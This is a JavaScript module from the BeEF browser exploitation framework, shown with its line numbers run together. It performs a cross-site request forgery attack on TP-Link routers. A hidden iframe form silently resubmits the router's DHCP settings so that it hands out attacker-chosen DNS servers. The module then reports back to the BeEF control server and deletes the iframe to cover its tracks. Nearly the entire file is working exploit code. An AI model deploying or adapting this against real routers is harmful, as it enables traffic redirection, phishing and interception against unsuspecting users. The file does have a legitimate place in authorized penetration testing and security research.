Path: blob/master/modules/exploits/router/tplink_dns_csrf/command.js
1873 views
//1// Copyright (c) 2006-2026Wade Alcorn - [email protected]2// Browser Exploitation Framework (BeEF) - https://beefproject.com3// See the file 'doc/COPYING' for copying permission4//56beef.execute(function() {78// config9var dhcp_start = '192.168.1.100';10var dhcp_end = '192.168.1.199';11var target = 'http://<%= @rhost %>/userRpm/LanDhcpServerRpm.htm';12var dns1 = '<%= @dns1 %>';13var dns2 = '<%= @dns2 %>';14var timeout = 15;1516// validate DNS server IP addresses17if (!beef.net.is_valid_ip(dns1)) {18beef.debug('Invalid Primary DNS server IP address was provided');19beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Primary DNS server IP address was provided");20return;21}22if (!beef.net.is_valid_ip(dns2)) {23beef.debug('Invalid Secondary DNS server IP address was provided');24beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=an invalid Secondary DNS server IP address was provided");25return;26}2728// change DNS29var tplink_iframe_<%= @command_id %> = beef.dom.createIframeXsrfForm(target, "GET", "application/x-www-form-urlencoded", [30{'type':'hidden', 'name':'dhcpserver', 'value':'1'},31{'type':'hidden', 'name':'ip1', 'value':dhcp_start},32{'type':'hidden', 'name':'ip2', 'value':dhcp_end},33{'type':'hidden', 'name':'Lease', 'value':'120'},34{'type':'hidden', 'name':'gateway', 'value':'0.0.0.0'},35{'type':'hidden', 'name':'domain', 'value':''},36{'type':'hidden', 'name':'dnsserver', 'value':dns1},37{'type':'hidden', 'name':'dnsserver2', 'value':dns2},38{'type':'hidden', 'name':'Save', 'value': unescape('%B1%A3+%B4%E6')}39]);4041beef.net.send("<%= @command_url %>", <%= @command_id %>, "result=exploit attempted");4243// clean up44cleanup = function() {45document.body.removeChild(tplink_iframe_<%= @command_id %>);46}47setTimeout("cleanup()", timeout*1000);4849});50515253